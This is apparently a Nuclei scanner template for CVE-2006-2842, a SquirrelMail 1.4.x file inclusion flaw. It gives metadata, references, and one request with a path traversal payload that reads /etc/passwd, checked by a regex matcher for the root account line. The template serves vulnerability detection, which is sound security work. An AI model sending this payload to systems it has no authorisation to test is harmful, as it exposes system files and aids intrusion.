id: CVE-2006-2842 info: name: Squirrelmail 1.4.x - 'Redirect.php' Local File Inclusion author: dhiyaneshDk severity: high description: 'PHP remote file inclusion vulnerability in functions/plugin.php in SquirrelMail 1.4.6 and earlier, if register_globals is enabled and magic_quotes_gpc is disabled, allows remote attackers to execute arbitrary PHP code via a URL in the plugins array parameter. NOTE: this issue has been disputed by third parties, who state that Squirrelmail provides prominent warnings to the administrator when register_globals is enabled. Since the varieties of administrator negligence are uncountable, perhaps this type of issue should not be included in CVE. However, the original developer has posted a security advisory, so there might be relevant real-world environments under which this vulnerability is applicable.' reference: - https://www.exploit-db.com/exploits/27948 - http://squirrelmail.cvs.sourceforge.net/squirrelmail/squirrelmail/functions/global.php?r1=1.27.2.16&r2=1.27.2.17&view=patch&pathrev=SM-1_4-STABLE - http://www.squirrelmail.org/security/issue/2006-06-01 - http://secunia.com/advisories/20406 classification: cve-id: CVE-2006-2842 tags: cve2006,lfi,squirrelmail,cve requests: - method: GET path: - "{{BaseURL}}/src/redirect.php?plugins[]=../../../../etc/passwd%00" matchers-condition: and matchers: - type: regex regex: - "root:[x*]:0:0" - type: status status: - 200
